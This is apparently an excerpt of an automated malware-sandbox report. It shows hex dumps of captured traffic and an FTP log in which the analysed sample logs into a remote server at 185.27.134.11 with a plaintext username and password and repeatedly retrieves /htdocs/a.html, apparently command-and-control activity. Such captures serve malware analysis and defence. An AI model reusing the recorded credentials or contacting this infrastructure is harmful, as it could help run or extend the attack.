50 6f ab 31 b4 04 9a a6 95 a5 aa e0 21 c0 bd a7 5a 1c 5d e8 de aa 34 c5 71 1c 30 22 01 50 82 1b 4d c9 87 31 84 85 e1 
a4 88 5b 3d 51 7d f7 8d fd 23 be d0 9a 14 e2 26 f3 b8 79 1e ac b4 10 76 e8 b0 75 1a 7b 24 b8 dd 22 70 ea 47 34 b1 22 27 
d6 a0 18 54 c3 50 67 6c 70 be 6e 0e 57 06 f2 75 73 fb b9 7b c9 d7 a1 00 9f 4c 33 0c ff f1 38 de 24 2f 9a 9f cd af ea b7 f2 
3b 41 dd 6f 04 c7 7e 2c b8 c4 fd 6c 54 2f 1c 8d 66 c8 ae 21 df 0c 31 5f b1 b6 2c fa 5c cf 51 4f e3 45 e5 9b b2 57 bd 1b ac 
0f 6e 46 d5 49 e2 a4 3c d0 b2 19 c5 c8 c7 65 1e 18 eb ff aa 90 4a b0 ba ac 29 1b 4f d3 7e a2 9b 62 ee f4 1c e4 db 47 38 
e5 21 56 4e 9a b4 d8 d9 1a 61 4d 00 b3 16 8e 09 95 
Data Ascii: @y\NI :(T@jYUX-J\Po1!Z]4q0"PM1[=Q}#&yvu{$"pG4"'TPglpnWus{L38$/;Ao~,lT/f!1_,\QOEWnFI<eJ)O
~bG8!VNaM

2022-09-20 10:10:09 UTC 6536 IN Data Raw: 36 6c e3 6c c4 ab 61 d0 fe 79 50 8d 37 80 b5 b6 db 1d 9d 2e 4e a2 d3 cb 49 73 84 b3 af 97 04 3e 37 de 9f ea 
3f 0a de d6 ec 9b c1 85 c1 15 c1 ec 60 69 b0 5f 38 26 cc 0b 27 81 73 3e 40 55 a5 25 03 78 26 cd 5c 39 41 e9 ad 08 25 50 
16 f3 dc e4 27 95 a7 a1 c7 ea c1 7e de 86 ae 6c 55 92 79 1e 9c 8a 27 23 f6 f6 16 22 2e e9 98 4e e2 00 d1 4d f4 12 19 40 
e5 99 f0 86 d5 e2 75 28 ee 01 7a 86 9e a5 97 c2 a6 0e 36 07 98 27 9a 13 a1 73 9f 34 bf 32 27 83 ef 2c b3 eb ec 0a f7 49 
77 8b fb 9d fb b3 bb db eb ee cf 82 85 6c 82 f2 d8 3f f0 82 63 c3 dc 30 1f 9c 7f 00 73 b0 24 d9 95 2f 80 ee 27 bd 71 00 be 
d2 22 d8 c1 41 ea 60 60 c4 47 ea 77 ea 50 30 82 2b b5 0a 7d 99 be 5d df cf b8 df d8 64 2c 31 9f 33 3b 20 1e 5f 60 cd 04 
ae 37 58 6f 58 ef 83 09 47 9b 54 bf b3 e3 f1 6d 86 3a 
Data Ascii: 6llayP7.NIs>7?`i_8&'s>@U%x&\9A%P'~lUy'#".NM@u(z6's42',Iwl?c0s$/'q"A``GwP0+}]d,13; _`7XoXGTm:

2022-09-20 10:10:09 UTC 6544 IN Data Raw: 71 3f 0a dd 4e f4 31 68 66 85 c3 e8 74 aa 71 06 58 c3 24 ee c6 24 be 36 97 a7 8e 3c c4 7b bc a9 bf 9e ea 46 
b6 f0 ee b5 5d 46 07 b0 e0 de e6 71 e6 99 bc 99 eb 1e 73 99 79 b4 25 ac b1 d6 04 c4 c1 cf ac be f6 6c 7b 9d fd a6 7d b0 
33 90 7a 82 e1 c1 8f 03 b1 5e 06 62 ed 72 0e 72 07 b8 43 a1 a9 8a 81 59 d3 61 7d cf ba db dc 6f dd dd 3c f1 40 45 44 a4 
9b 9b d3 11 4f 6e 82 9e 7d 0d 6a eb 6b af 1d 7a eb 00 bf bb 9f ea ab f0 c1 29 e0 56 db fc e3 82 87 e0 6f 4f 40 d7 be 1c b6 
53 ed 4c f6 60 be 2f 3c 58 1e 06 75 3b 56 3e 4b 2e 80 1d dd 26 2f 97 57 ca cf c8 df 40 e7 76 53 04 ac 64 02 38 ec 2c e5 
36 65 b9 f2 b4 52 af 6c 00 9b fd 5e 59 a8 3e a0 3e 0c 66 55 a7 ae 57 a9 aa 51 07 03 1f a5 9d a5 9d af 5d 86 78 f9 28 a2 
d0 0b 40 8d 4f b5 1d 38 b7 8e e2 10 d1 4b f4 03 82 5c 
Data Ascii: q?N1hftqX$$6<{F]Fqsy%l{}3z^brrCYa}o<@EDOn}jkz)VoO@SL`/<Xu;V>K.&/W@vSd8,6eRl^Y>>fUWQ]x(@O
8K\

2022-09-20 10:10:09 UTC 6551 IN Data Raw: 08 8a fa b3 04 89 85 f8 87 3a 66 30 9e 02 04 19 e9 3f cc 43 1a b0 4a 7b a0 57 ac bb 1f d2 5f c4 b6 59 8f d8 a8 
06 55 5b df 47 f1 06 5b a1 f2 54 d6 c7 4e 88 8d 80 38 e2 df cf 3a 3b 80 57 08 41 d6 df f7 11 eb 7c 01 57 40 30 22 de 7e 
80 32 7f 20 0c 28 b5 f8 24 1c f5 4e 50 16 44 6b 8f 9e 80 97 da 41 cc 25 16 bf 53 ab e2 b7 1b 3e 8c 0a 86 45 62 71 10 ba 
ce 57 50 1d 5f 41 41 5c 70 ed 2d f5 8b b6 a3 c4 13 e7 7f ff df e9 6f 3d 97 1f 88 bf d6 c8 7e c7 16 82 b8 c3 21 df ef a8 43 
46 5e e0 28 30 f0 df 12 92 55 1e 77 e0 58 80 14 d8 21 b3 1f 1f 61 29 ca 37 54 00 ab 06 94 a8 92 73 e0 53 6a 88 94 12 c8 
50 cf 8b 5a 73 f8 af a5 00 e5 8a 02 92 ef e0 95 b4 e1 70 d6 cd 50 09 49 6d 48 83 65 ac 19 aa 74 ed 85 0c d9 5a d3 19 06 
de 66 96 ab 09 9a 73 44 be b1 dd cc a5 2b aa 0b d6 
Data Ascii: :f0?CJ{W_YU[G[TN8:;WA|W@0"~2 ($NPDkA%S>EbqWP_AA\p-o=~!CF^(0UwX!a)7TsSjPZspPImHetZfsD+

2022-09-20 10:10:09 UTC 6559 IN Data Raw: 5c 5f 0d d3 dc e6 91 30 9d f9 02 34 b9 28 cd b5 4b f6 64 82 70 24 34 31 4f 2e 48 48 5f ba 36 7f 9e 21 68 d6 b2 
e1 a2 91 62 ce 0b 79 88 f2 04 0f 19 43 1e 22 3d 62 63 fd e1 67 53 96 83 ec 66 1c 26 3c b1 87 b7 f0 af 87 e8 2b 27 47 0f 
df cf d3 3e a6 34 3a d4 2c 36 6e f9 14 77 86 1e a6 33 28 9e 8d 09 73 af c7 77 f9 2f ce ff 2e 60 b0 67 86 86 fb 73 e0 c1 18 
5c 36 68 f1 93 4b d2 51 db 25 bc 2e 03 51 d4 bb 36 81 70 2c 03 c2 51 25 e7 9b 75 76 d6 02 73 0d 1c 8c 1d c4 c7 fe 42 f6 
01 fc b2 f7 29 c4 10 4d f9 8b 34 e5 91 be 4e e9 23 81 78 1a 1b 00 04 99 7a 74 6a 8f bf cd 6b f6 1f f0 5d 28 dd 93 6a f4 4d 
c4 c3 1f ae 5d 2c 3f 4d a3 02 30 0e 4e 14 96 b0 b6 e1 c7 7f 86 f5 f7 29 a2 70 e9 88 b7 4f 50 d7 1d d8 f5 1f 53 6a da 0b d4 
e7 03 de bb a7 9b 7c 3e b9 5c 23 76 c3 90 34 
Data Ascii: \_04(Kdp$41O.HH_6!hbyC"=bcgSf&<+'G>4:,6nw3(sw/.`gs\6hKQ%.Q6p,Q%uvsB)M4N#xztjk](jM],?M0N)
pOPSj|>\#v4

2022-09-20 10:10:09 UTC 6567 IN Data Raw: 53 57 dc 76 89 89 5c 24 33 49 3c 94 f3 cb e4 5b 2a 59 07 34 50 d2 f9 11 5e 3c 36 f5 b8 62 af 13 1b 6e 13 ea 
aa 1c 65 ee 88 b8 75 9e 45 f3 7b 01 2e 98 a5 70 b0 b1 f8 9d e0 e8 42 1e 6d 67 21 9c 85 7f e2 c9 06 d0 53 c8 3d a1 0c eb 
d4 60 25 1d 13 94 99 02 e3 d7 b2 8b 0d 13 98 2a ed b4 74 1e 46 60 94 08 ef d0 1e 6a e7 e1 be bd 53 4f 28 f6 7a 6c db 
1d 59 f7 10 b6 2f 36 8c 16 1b 6f 31 d6 e1 71 39 a8 4d 6c a8 70 94 62 28 c3 a7 01 f6 bd cd 3d a2 3f 5b 07 07 7c 65 fb 9c ef 
77 1e 05 d8 f6 16 38 4a d3 45 7f d8 cc bf 01 3c 70 0e 13 fd 89 32 d1 ab 0a a4 9f 1f 9a 90 5f 1a d7 15 c1 d8 2e fb ea b1 bd 
23 10 a2 52 0e 15 c6 03 03 40 8b fe 23 da 90 0c 9d 87 84 56 ba d7 af 47 3a 24 b0 7c 0b eb e9 08 4b 87 4c 18 74 82 fc f2 
42 f9 e6 02 e8 45 f0 a8 49 3a 62 e2 e7 45 cf 8e 5d 57 
Data Ascii: SWv\$3I<[*Y4P^<6bneuE{.pBmg!S=`%*tF`jSO(zlY/6o1q9Mlpb(=?[|ew8JE<p2_.#R@#VG:$|KLtBEI:bE]W

2022-09-20 10:10:09 UTC 6575 IN Data Raw: 7a 78 11 f6 4f 27 11 8f 6c 74 28 01 ce 8a c2 e7 12 58 b0 33 6b 94 5b af c7 23 08 8a fd 36 3c 85 d0 d1 cd f0 3e 
50 e9 2c d0 bc f7 f1 d6 a0 52 c7 32 50 86 d3 95 79 c0 0b 6a 1c 4b 60 d5 2c c3 1a 40 39 9f 89 ca 79 a5 d4 6d a4 f3 49 f0 
88 0e d1 4b 9c fb 19 fa d3 d6 b0 dd c1 c3 b6 94 0e 48 5f 29 e0 41 17 87 62 2f 67 11 1c 5f 47 44 49 fb 79 75 3d 1b 2d 35 
9b dd fb 7d 7d da cd 84 cb 48 68 ae 81 92 20 50 0d 39 3b 85 0e 77 b7 d7 45 bd b5 cf a4 aa ab d9 4c 2f f4 e5 12 f8 5d ab 
cc 1a 42 c2 38 1e d9 0d 7c b8 6d 3d 5e 55 09 bf f7 10 8f 85 21 9b aa 1c 2b d8 6d 35 a4 64 97 a8 17 9d 8a 9f c7 69 04 14 
92 3e 12 81 24 cc 42 ae 7b 6b 29 9b 51 a2 ee 8c 24 f2 dd 38 7f 52 15 55 93 67 dd 07 d7 5c 87 73 f2 f4 20 3f 62 90 28 9f 
3f 43 de 38 23 f4 56 f7 be d5 1f 11 91 79 33 f1 2c ce 
Data Ascii: zxO'lt(X3k[#6<>P,R2PyjK`,@9ymIKH_)Ab/g_GDIyu=-5}}Hh P9;wEL/]B8|m=^U!+m5di>$B{k)Q$8RUg\s ?b(?
C8#Vy3,

2022-09-20 10:10:09 UTC 6583 IN Data Raw: 4b a9 60 0f 25 fd 8e 27 a5 51 c1 63 40 de 60 59 5b 01 e1 fd 8b 73 39 12 5a 61 ba 66 e3 b3 b1 5a fa 1b 4d 1b 
14 7b 60 2b 8d 7f ab 0e 48 ff 2f b8 16 6b 67 03 91 17 91 7f ed 67 af b1 8e c8 33 62 23 21 25 50 1d 78 ba 11 33 c3 12 bc 
51 68 e7 09 79 5a 42 9e 9e 90 af 25 e4 eb 09 05 5a 42 81 9e 50 a4 25 14 e9 09 25 5a 42 89 9e 30 53 4b 98 a9 27 94 6a 
09 a5 7a c2 1c 2d 61 8e 9e 50 a6 25 94 e9 09 b7 68 09 b7 e8 09 15 5a 42 85 9e b0 40 4b 58 20 00 a1 25 72 83 2e 08 05 
8e 4a a1 5d 68 92 80 fa 47 f1 ed 36 ef cd 48 ba d1 ed 5b f1 4a e6 48 32 9a c2 4e 7a b3 c5 c6 72 63 60 af f7 38 6e 64 e5 
ba a2 ca 0c 50 0b 0b 2a 72 81 5e b4 75 a8 d2 21 21 a5 5f c9 05 65 4a f0 1d ab 66 26 2a e3 7b 1d 2a a9 d2 43 99 8a e4 5
2 5c 43 d2 04 9e 90 7a 94 87 72 4f dd 8e 4c 9e ef ff 3f b2 09 01 
Data Ascii: K`%'Qc@`Y[s9ZafZM{`+H/kgg3b#!%Px3QhyZB%ZBP%%ZB0SK'jz-aP%hZB@KX %r.J]hG6H[JH2Nz
rc`8ndP*r^u!!_eJf&*{*CR\CzrOL?

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:09 UTC 6591 IN Data Raw: 93 f5 03 89 eb 67 c7 90 f0 11 a5 03 7d 34 62 e6 47 e8 75 78 6c 27 32 19 12 20 67 9b b2 ce 08 59 9d 47 81 ee 
39 9b 59 87 ef 23 f1 d5 a3 78 ef 07 a2 a3 bb 5f 7c a0 c7 84 70 ee 43 cf 3f 62 4f 79 58 97 c7 d2 0b 09 5b 78 90 47 fa 46 12 
f1 17 f0 86 1f 40 34 11 cc c4 d6 89 ec bf 8f 9e c4 30 fe fd 40 01 a5 b6 ca f0 1b f4 8e 62 cb b7 81 7d 19 bd 4e cd 86 1d b7 
87 6a 05 7f f7 d9 08 bc 44 67 bf e9 5e 47 c6 ba 6f a9 18 0e 4a 1f 8f d8 e8 49 c3 83 8a 2b e9 2c 28 c6 91 76 0f 89 fe 1f 61 
9f 5e 29 42 e1 46 ea bf 4a f4 7f 07 65 91 fe 4c 6f 07 70 d0 99 50 73 64 7f cc be 31 cb 8c aa 85 3a 4e 8f c7 ef b1 56 d7 d6 
38 32 a3 37 69 73 b8 76 22 ce ac 6f 95 7a 2d 8f c7 f3 bb b3 82 00 d2 ce dd bd cf a3 c3 eb b4 52 87 83 5c 85 5c 7b 83 1f 
1a 5d bd e2 ef 9b 3b 0f 91 ed b0 5d 2c 6c 65 
Data Ascii: g}4bGuxl'2 gYG9Y#x_|pC?bOyX[xGF@40@b}NjDg^GoJI+,(va^)BFJeLopPsd1:NV827isv"oz-R\\{];],le

2022-09-20 10:10:09 UTC 6598 IN Data Raw: 23 cb 75 52 06 fd 48 71 f8 d1 ba b4 c1 37 bb c2 d6 17 1a dc 53 64 d2 ca 09 fe 93 3f 61 11 ed e5 fe 43 71 c9 5e 
0a 5a ea 3c d4 37 dc 90 2d 20 d5 bd ae 42 d9 16 d7 6f 2b eb 2a b2 e4 8f 7e 64 96 b0 ed af 92 b5 46 c2 7e e8 ab 57 aa 
e5 5a 2c 3b 96 12 da 5e eb 63 74 31 16 e0 0a 24 56 01 ab 08 07 23 c0 dd 36 d6 53 81 67 77 94 40 00 5b ad ef 67 59 f2 
4c 48 18 26 09 95 bb 3c 8b 4b 4e 36 b5 c4 c5 43 77 70 c4 41 31 fc 87 fd d5 b8 7c a2 06 21 3c e8 c7 b6 98 da 47 3f 58 ca 
a4 9b 31 7f e0 4c 54 aa 88 5e f8 94 ab f8 96 26 7f c5 4a 31 4e 03 e5 f9 45 c1 28 57 f4 41 57 1e 1b 8d f2 8c a5 4e 90 e4 
2b c8 7a bf 52 f2 81 2b 8e 35 90 c1 de d0 2a eb 17 98 bd ec 3e 7d a6 8b 07 44 f9 10 b2 62 e4 98 b1 ef ab 30 af 6a df 8c 
3a 83 c2 83 95 06 bf 04 c4 73 37 ac 18 01 b3 9c 9b 32 fc 47 
Data Ascii: #uRHq7Sd?aCq^Z<7- Bo+*~dF~WZ,;^ct1$V#6Sgw@[gYLH&<KN6CwpA1|!<G?X1LT^&J1NE(WAWN+
zR+5*>}Db0j:s72G

2022-09-20 10:10:09 UTC 6606 IN Data Raw: 78 90 2c b8 5a 62 48 4a ff b3 b4 d2 f1 c6 fa 49 43 02 c4 13 a5 11 fe a1 62 d9 d4 48 89 c6 29 5a 16 11 25 51 3f 
a1 63 8b a6 64 11 11 e2 30 bf f0 a9 ea e8 23 a2 c4 01 21 d1 32 bf 70 7f 48 eb d4 b0 89 11 d2 68 0d 03 ff 88 00 89 3a a0 
38 5a 22 ab 8c 0c d2 c2 84 8f 92 44 4a fc 64 54 d5 30 ed da 89 c3 42 a2 a3 43 c2 83 b0 24 db 45 04 b6 23 89 d0 78 92 86 
40 66 f9 49 3b e8 e3 ad 4e 4d 55 d7 aa 21 48 2c d5 42 d4 e0 8a 6f 1c e8 17 25 9e e8 07 29 a0 22 57 81 0c ae e0 fb 3f 5a 
4d 53 44 d9 aa ca 6b c4 84 95 55 ef 75 31 71 1d df 7f e7 6a 5a 47 99 f1 58 54 7d 1e 8b 55 87 67 4e 35 e2 b1 cc cc 79 3c 
aa 01 8f c5 ad cb 73 a4 1a f3 58 0e 66 3c 0e 65 c1 63 b1 45 bc a6 94 25 8f 25 ae cd 33 a4 1a f2 58 fc 7a bc d9 94 03 0f 
c3 b3 21 fc 6c 08 df 00 c3 5b 98 f3 6a 61 78 83 ba 3c 
Data Ascii: x,ZbHJICbH)Z%Q?cd0#!2pHh:8Z"DJdT0BC$E#x@fI;NMU!H,Bo%)"W?ZMSDkUu1qjZGXT}UgN5y<s
Xf<ecE%%3Xz!l[jax<

2022-09-20 10:10:09 UTC 6614 IN Data Raw: 78 0a 78 0f a8 40 be 6e 6c aa 3e c0 0a d0 11 e0 04 18 0d 08 00 c4 00 e6 02 96 01 36 00 76 01 0e 02 ce bb a1 
01 53 b9 e3 9c f6 ae 6f c6 94 09 65 4a 09 99 fd f0 ea 90 9d e2 ea 91 bd eb 1a 90 5d eb 70 c7 ba 3f a8 26 a0 9b 9b 52 cd 
a8 e6 94 15 d5 82 6a 49 b5 82 76 a8 35 d5 86 6a 4b d9 50 ed a8 f6 54 07 d0 2d 76 54 47 aa 13 b4 23 5d a8 ae 54 37 e8 
6b db 53 3d a8 9e 60 53 f6 a6 fa 50 7d 41 67 3b 52 fd 28 27 ca 99 72 a1 5c 29 37 d0 39 fd a9 01 d4 40 ca 83 1a 44 0d a6 
86 80 0d 33 94 1a 46 0d 87 3e c6 08 6a 24 35 0a fa c2 d3 a4 21 13 e9 83 d9 fd 70 0b b9 4e 1d d5 d4 c7 3f 22 6c 62 48 b8 
44 f7 be 6b 67 8d cb 34 cd 51 35 9a 8b ca d3 6b fa 45 c4 84 07 50 fe 51 fe c0 92 fc af 61 58 e5 0e d8 55 b9 f7 09 92 84 57 
77 a9 e6 2b 22 92 71 98 46 31 67 c9 a8 29 1d 2f 73 83 fb 
Data Ascii: xx@nl>6vSoeJ]p?&RjIv5jKPT-vTG#]T7kS=`SP}Ag;R('r\)79@D3F>j$5!pN?"lbHDkg4Q5kEPQaXUWw+"qF1g)/s

Timestamp
kBytes
transferred

Direction Data

Timestamp
Source
Port

Dest
Port

Source IP Dest IP Commands

Sep 20, 2022 12:08:20.566227913 CEST 21 49707 185.27.134.11 192.168.2.5 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are 
user number 351 of 6900 allowed.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are 
user number 351 of 6900 allowed.220-Local time is now 05:37. Server 
port: 21.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are 
user number 351 of 6900 allowed.220-Local time is now 05:37. Server 
port: 21.220-This is a private system - No anonymous login
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are 
user number 351 of 6900 allowed.220-Local time is now 05:37. Server 
port: 21.220-This is a private system - No anonymous login220 You will 
be disconnected after 60 seconds of inactivity.

Sep 20, 2022 12:08:20.577775002 CEST 49707 21 192.168.2.5 185.27.134.11 USER epiz_32594997

Sep 20, 2022 12:08:20.623382092 CEST 21 49707 185.27.134.11 192.168.2.5 331 User epiz_32594997 OK. Password required

Sep 20, 2022 12:08:20.623606920 CEST 49707 21 192.168.2.5 185.27.134.11 PASS FKmeEtIWDg

Sep 20, 2022 12:08:20.692926884 CEST 21 49707 185.27.134.11 192.168.2.5 230-Your bandwidth usage is restricted
230-Your bandwidth usage is restricted230 OK. Current restricted 
directory is /

Sep 20, 2022 12:08:20.822045088 CEST 21 49708 185.27.134.11 192.168.2.5 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are 
user number 356 of 6900 allowed.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are 
user number 356 of 6900 allowed.220-Local time is now 05:37. Server 
port: 21.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are 
user number 356 of 6900 allowed.220-Local time is now 05:37. Server 
port: 21.220-This is a private system - No anonymous login
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are 
user number 356 of 6900 allowed.220-Local time is now 05:37. Server 
port: 21.220-This is a private system - No anonymous login220 You will 
be disconnected after 60 seconds of inactivity.

Sep 20, 2022 12:08:20.827120066 CEST 49708 21 192.168.2.5 185.27.134.11 USER epiz_32594997

Sep 20, 2022 12:08:20.872829914 CEST 21 49708 185.27.134.11 192.168.2.5 331 User epiz_32594997 OK. Password required

Sep 20, 2022 12:08:20.916455030 CEST 49708 21 192.168.2.5 185.27.134.11 PASS FKmeEtIWDg

Sep 20, 2022 12:08:20.986974001 CEST 21 49708 185.27.134.11 192.168.2.5 230-Your bandwidth usage is restricted
230-Your bandwidth usage is restricted230 OK. Current restricted 
directory is /

FTP Packets
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Sep 20, 2022 12:08:20.990294933 CEST 49708 21 192.168.2.5 185.27.134.11 TYPE I

Sep 20, 2022 12:08:21.035701990 CEST 21 49708 185.27.134.11 192.168.2.5 200 TYPE is now 8-bit binary

Sep 20, 2022 12:08:21.036305904 CEST 49708 21 192.168.2.5 185.27.134.11 PASV

Sep 20, 2022 12:08:21.082240105 CEST 21 49708 185.27.134.11 192.168.2.5 227 Entering Passive Mode (185,27,134,11,187,119)

Sep 20, 2022 12:08:21.178596973 CEST 21 49708 185.27.134.11 192.168.2.5 213 6827

Sep 20, 2022 12:08:21.179023981 CEST 49708 21 192.168.2.5 185.27.134.11 RETR /htdocs/a.html

Sep 20, 2022 12:08:21.224776983 CEST 21 49708 185.27.134.11 192.168.2.5 150-Accepted data connection
150-Accepted data connection150 6.7 kbytes to download

Sep 20, 2022 12:08:21.225083113 CEST 21 49708 185.27.134.11 192.168.2.5 226-File successfully transferred
226-File successfully transferred226 0.000 seconds (measured here), 
39.46 Mbytes per second

Sep 20, 2022 12:08:21.631189108 CEST 49707 21 192.168.2.5 185.27.134.11 CWD /htdocs/

Sep 20, 2022 12:08:21.677023888 CEST 21 49707 185.27.134.11 192.168.2.5 250 OK. Current directory is /htdocs

Sep 20, 2022 12:08:21.679008007 CEST 49707 21 192.168.2.5 185.27.134.11 PWD

Sep 20, 2022 12:08:21.724678040 CEST 21 49707 185.27.134.11 192.168.2.5 257 "/htdocs" is your current location

Sep 20, 2022 12:08:21.725651026 CEST 49707 21 192.168.2.5 185.27.134.11 TYPE A

Sep 20, 2022 12:08:21.771091938 CEST 21 49707 185.27.134.11 192.168.2.5 200 TYPE is now ASCII

Sep 20, 2022 12:08:21.776457071 CEST 49707 21 192.168.2.5 185.27.134.11 PORT 192,168,2,5,194,46

Sep 20, 2022 12:08:21.822308064 CEST 21 49707 185.27.134.11 192.168.2.5 500 I won't open a connection to 192.168.2.5 (only to 84.17.52.43)

Sep 20, 2022 12:08:21.868350983 CEST 21 49707 185.27.134.11 192.168.2.5 500 Unknown command

Sep 20, 2022 12:08:21.868607998 CEST 49707 21 192.168.2.5 185.27.134.11 CWD /htdocs/

Sep 20, 2022 12:08:21.914252996 CEST 21 49707 185.27.134.11 192.168.2.5 250 OK. Current directory is /htdocs

Sep 20, 2022 12:08:22.013870001 CEST 21 49711 185.27.134.11 192.168.2.5 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are 
user number 343 of 6900 allowed.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are 
user number 343 of 6900 allowed.220-Local time is now 05:37. Server 
port: 21.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are 
user number 343 of 6900 allowed.220-Local time is now 05:37. Server 
port: 21.220-This is a private system - No anonymous login
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are 
user number 343 of 6900 allowed.220-Local time is now 05:37. Server 
port: 21.220-This is a private system - No anonymous login220 You will 
be disconnected after 60 seconds of inactivity.

Sep 20, 2022 12:08:22.014076948 CEST 49711 21 192.168.2.5 185.27.134.11 USER anonymous

Sep 20, 2022 12:08:22.059832096 CEST 21 49711 185.27.134.11 192.168.2.5 331 User anonymous OK. Password required

Sep 20, 2022 12:08:22.060081005 CEST 49711 21 192.168.2.5 185.27.134.11 PASS IEUser@

Sep 20, 2022 12:08:28.010325909 CEST 21 49711 185.27.134.11 192.168.2.5 530 Login authentication failed

Sep 20, 2022 12:08:28.058314085 CEST 21 49711 185.27.134.11 192.168.2.5 530 Logout.

Sep 20, 2022 12:08:28.191374063 CEST 21 49712 185.27.134.11 192.168.2.5 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are 
user number 338 of 6900 allowed.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are 
user number 338 of 6900 allowed.220-Local time is now 05:37. Server 
port: 21.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are 
user number 338 of 6900 allowed.220-Local time is now 05:37. Server 
port: 21.220-This is a private system - No anonymous login
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are 
user number 338 of 6900 allowed.220-Local time is now 05:37. Server 
port: 21.220-This is a private system - No anonymous login220 You will 
be disconnected after 60 seconds of inactivity.

Sep 20, 2022 12:08:28.191593885 CEST 49712 21 192.168.2.5 185.27.134.11 USER epiz_32594997

Sep 20, 2022 12:08:28.239289999 CEST 21 49712 185.27.134.11 192.168.2.5 331 User epiz_32594997 OK. Password required

Sep 20, 2022 12:08:28.239609003 CEST 49712 21 192.168.2.5 185.27.134.11 PASS FKmeEtIWDg

Sep 20, 2022 12:08:28.311549902 CEST 21 49712 185.27.134.11 192.168.2.5 230-Your bandwidth usage is restricted
230-Your bandwidth usage is restricted230 OK. Current restricted 
directory is /

Sep 20, 2022 12:08:28.312019110 CEST 49712 21 192.168.2.5 185.27.134.11 TYPE I

Sep 20, 2022 12:08:28.359286070 CEST 21 49712 185.27.134.11 192.168.2.5 200 TYPE is now 8-bit binary

Sep 20, 2022 12:08:28.359976053 CEST 49712 21 192.168.2.5 185.27.134.11 PASV

Sep 20, 2022 12:08:28.406295061 CEST 21 49712 185.27.134.11 192.168.2.5 227 Entering Passive Mode (185,27,134,11,164,175)

Sep 20, 2022 12:08:28.500502110 CEST 21 49712 185.27.134.11 192.168.2.5 213 6827

Sep 20, 2022 12:08:28.501049995 CEST 49712 21 192.168.2.5 185.27.134.11 RETR /htdocs/a.html

Sep 20, 2022 12:08:28.547569036 CEST 21 49712 185.27.134.11 192.168.2.5 150-Accepted data connection
150-Accepted data connection150 6.7 kbytes to download

Timestamp
Source
Port

Dest
Port

Source IP Dest IP Commands
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Sep 20, 2022 12:08:28.547887087 CEST 21 49712 185.27.134.11 192.168.2.5 226-File successfully transferred
226-File successfully transferred226 0.000 seconds (measured here), 
29.33 Mbytes per second

Sep 20, 2022 12:08:29.869630098 CEST 49707 21 192.168.2.5 185.27.134.11 CWD /htdocs/

Sep 20, 2022 12:08:29.915242910 CEST 21 49707 185.27.134.11 192.168.2.5 250 OK. Current directory is /htdocs

Sep 20, 2022 12:08:30.412873030 CEST 49707 21 192.168.2.5 185.27.134.11 PWD

Sep 20, 2022 12:08:30.458312035 CEST 21 49707 185.27.134.11 192.168.2.5 257 "/htdocs" is your current location

Sep 20, 2022 12:08:30.483383894 CEST 49707 21 192.168.2.5 185.27.134.11 TYPE A

Sep 20, 2022 12:08:30.529438019 CEST 21 49707 185.27.134.11 192.168.2.5 200 TYPE is now ASCII

Sep 20, 2022 12:08:30.530040979 CEST 49707 21 192.168.2.5 185.27.134.11 PORT 192,168,2,5,194,50

Sep 20, 2022 12:08:30.575931072 CEST 21 49707 185.27.134.11 192.168.2.5 500 I won't open a connection to 192.168.2.5 (only to 84.17.52.43)

Sep 20, 2022 12:08:30.640146971 CEST 21 49707 185.27.134.11 192.168.2.5 500 Unknown command

Sep 20, 2022 12:08:30.640463114 CEST 49707 21 192.168.2.5 185.27.134.11 CWD /htdocs/

Sep 20, 2022 12:08:30.686671972 CEST 21 49707 185.27.134.11 192.168.2.5 250 OK. Current directory is /htdocs

Sep 20, 2022 12:08:30.952666998 CEST 21 49715 185.27.134.11 192.168.2.5 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are 
user number 332 of 6900 allowed.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are 
user number 332 of 6900 allowed.220-Local time is now 05:37. Server 
port: 21.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are 
user number 332 of 6900 allowed.220-Local time is now 05:37. Server 
port: 21.220-This is a private system - No anonymous login
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are 
user number 332 of 6900 allowed.220-Local time is now 05:37. Server 
port: 21.220-This is a private system - No anonymous login220 You will 
be disconnected after 60 seconds of inactivity.

Sep 20, 2022 12:08:30.961873055 CEST 49715 21 192.168.2.5 185.27.134.11 USER anonymous

Sep 20, 2022 12:08:31.009471893 CEST 21 49715 185.27.134.11 192.168.2.5 331 User anonymous OK. Password required

Sep 20, 2022 12:08:31.009659052 CEST 49715 21 192.168.2.5 185.27.134.11 PASS IEUser@

Sep 20, 2022 12:08:35.193105936 CEST 21 49715 185.27.134.11 192.168.2.5 530 Login authentication failed

Sep 20, 2022 12:08:35.239046097 CEST 21 49715 185.27.134.11 192.168.2.5 530 Logout.

Sep 20, 2022 12:08:38.495615005 CEST 21 49716 185.27.134.11 192.168.2.5 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are 
user number 360 of 6900 allowed.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are 
user number 360 of 6900 allowed.220-Local time is now 05:37. Server 
port: 21.
